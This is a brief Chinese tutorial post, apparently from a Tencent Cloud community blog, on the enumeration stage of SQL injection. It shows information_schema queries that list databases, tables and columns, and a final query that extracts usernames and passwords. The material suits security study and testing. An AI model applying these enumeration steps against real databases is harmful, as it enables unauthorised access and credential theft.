SQL注入爆破字段过程
原创
在明确了SQL注入的类型和过滤字段之后，要开始爆破所需要得到的内容，一下是关于爆破阶段的一些过程，可以根据实际过滤的字段调整部分SQL语句。
爆库名
爆数据库的库名借助information_schema数据库，该库中存储了大量关于数据库、表、列的信息。
爆库名的例子
select group_concat(schema_name) from information_schema.schemata;
爆表名
在确定要爆的数据库名称之后，可以继续爆表名。爆表名的例子：
select table_name from information_schema.tables where table_schema='mpsys';
爆列名
如果知道了数据库名和表名，可以继续爆列名：
select column_name from information_schema.columns where table_name='users' and table_schema='mpsys';
爆内容
在万事俱备之后，就可以爆内容了。
select username,password from mpsys.users;
原创声明：本文系作者授权腾讯云开发者社区发表，未经许可，不得转载。
如有侵权，请联系 cloudcommunity@tencent.com 删除。
原创声明：本文系作者授权腾讯云开发者社区发表，未经许可，不得转载。
如有侵权，请联系 cloudcommunity@tencent.com 删除。
评论
登录后参与评论
推荐阅读